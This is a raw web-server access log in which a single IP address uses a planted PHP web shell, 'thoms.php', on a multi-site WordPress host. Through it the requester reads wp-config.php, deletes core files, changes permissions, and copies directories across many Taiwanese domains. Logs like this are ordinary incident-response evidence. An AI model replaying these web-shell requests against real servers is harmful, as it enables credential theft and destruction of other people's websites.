45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-signup.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /bogroup.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?chmod=wp-content&p=bogroup.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?dl=locoy.php&p=bogroup.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 12580 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?p=bogroup.com.tw&view=index.php HTTP/1.1" 200 12061 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?del=upgrade&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?del=index.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?del=index.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fmah.php&p=bogroup.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fmah.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-config.php HTTP/1.1" 200 13725 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-cron.php HTTP/1.1" 200 14173 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /bogroup.com.tw/wp-links-opml.php HTTP/1.1" 200 206 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /bogroup.com.tw/locoy.php HTTP/1.1" 200 129 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?del=wp-load.php&p=bogroup.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-settings.php HTTP/1.1" 200 19463 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fcatalog-build&p= HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fcatalog-build&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?p=bogroup.com.tw&view=thoms.php HTTP/1.1" 200 11816 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13029 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?del=wp-login.php&p=bogroup.com.tw HTTP/1.1" 200 17358 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:26 -0400] "GET /thoms.php?chmod=index.php&p=bogroup.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?p=bogroup.com.tw&view=mah.php HTTP/1.1" 200 11815 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /bogroup.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?del=mah.php&p=bogroup.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?chmod=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?dl=readme.html&p=bogroup.com.tw HTTP/1.1" 200 17358 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?dl=wp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 17357 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 17358 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?chmod=error_log&p=bogroup.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?del=wp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 17357 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13303 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?del=wp-config.php&p=bogroup.com.tw HTTP/1.1" 200 17357 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /bogroup.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:27 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?del=license.txt&p=bogroup.com.tw HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?dl=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 17348 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?dl=wp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?del=wp-admin&p=bogroup.com.tw HTTP/1.1" 200 17339 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?chmod=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-comments-post.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?p=wp-content&upload= HTTP/1.1" 200 12151 "http://163.245.207.76:443/thoms.php?p=wp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /wp-content/themes/ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?p=wp-content&settings=1 HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?p=wp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?p=wp-content%2Fthemes HTTP/1.1" 200 12563 "http://163.245.207.76:443/thoms.php?p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?chmod=themes&p=wp-content HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?chmod=themes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?del=themes&p=wp-content HTTP/1.1" 200 12519 "http://163.245.207.76:443/thoms.php?del=themes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?copy=wp-content%2Fthemes&p= HTTP/1.1" 200 11787 "http://163.245.207.76:443/thoms.php?copy=wp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:28 -0400] "GET /thoms.php?edit=error_log&env=ace&p= HTTP/1.1" 200 15589 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /wp-content/ HTTP/1.1" 200 755 "https://163.245.207.76:443/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?edit=error_log&p= HTTP/1.1" 200 11993 "http://163.245.207.76:443/thoms.php?edit=error_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17929 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=cgi-bin HTTP/1.1" 200 11303 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=upgrade HTTP/1.1" 200 11313 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=betcity.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=bfl.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&p=bft.com.tw HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:29 -0400] "GET /thoms.php?copy=bft.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17995 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=bossini.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bft.com.tw&p=wp-content HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
